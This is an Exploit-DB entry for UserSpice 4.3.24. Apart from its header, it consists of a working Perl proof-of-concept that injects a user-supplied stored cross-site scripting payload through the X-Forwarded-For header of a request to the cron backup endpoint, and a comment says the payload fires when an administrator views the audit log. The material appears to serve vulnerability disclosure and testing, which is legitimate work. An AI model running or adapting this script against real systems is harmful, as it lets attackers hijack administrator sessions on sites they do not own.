userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting

EDB-ID: 44871
Author: Dolev Farhi
Published: 2018-06-11
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-06-10 
 # Author: Dolev Farhi 
 # Vendor or Software Link: www.userspice.com 
 # Version: 4.3.24 
 # Tested on: Ubuntu 
 # Payload will get executed when admin visits the audit log page 
  
 #!/usr/bin/perl 
  
 use strict; 
 use LWP::UserAgent; 
  
 print "UserSpice 4.3.24 X-Forwarded-For XSS PoC\n"; 
  
 if ($#ARGV != 0 ) { 
 	print "usage: $0 <address> \n"; 
 	exit 1; 
 } 
  
 my $server   = $ARGV[0] . "/users/cron/backup.php?from=users/cron_manager.php/"; 
 my $ua = LWP::UserAgent->new; 
 my $req = HTTP::Request->new(GET => 'http://' . $server); 
  
 print "Enter payload: "; 
  
 my $xff = <STDIN>; 
 chomp $xff; 
  
 if ($xff eq "") 
 { 
  print "Empty payload \n"; 
  exit 1; 
 } 
  
 $req->header('X-Forwarded-For' => $xff); 
  
 my $resp = $ua->request($req); 
 if ($resp->is_success) { 
     print "[OK] Sent payload: $xff\n"; 
     exit 0; 
 } 
 else { 
     print "[Error]: code: ", $resp->code, $resp->message, "\n"; 
     exit 1; 
 }

Source: www.exploit-db.com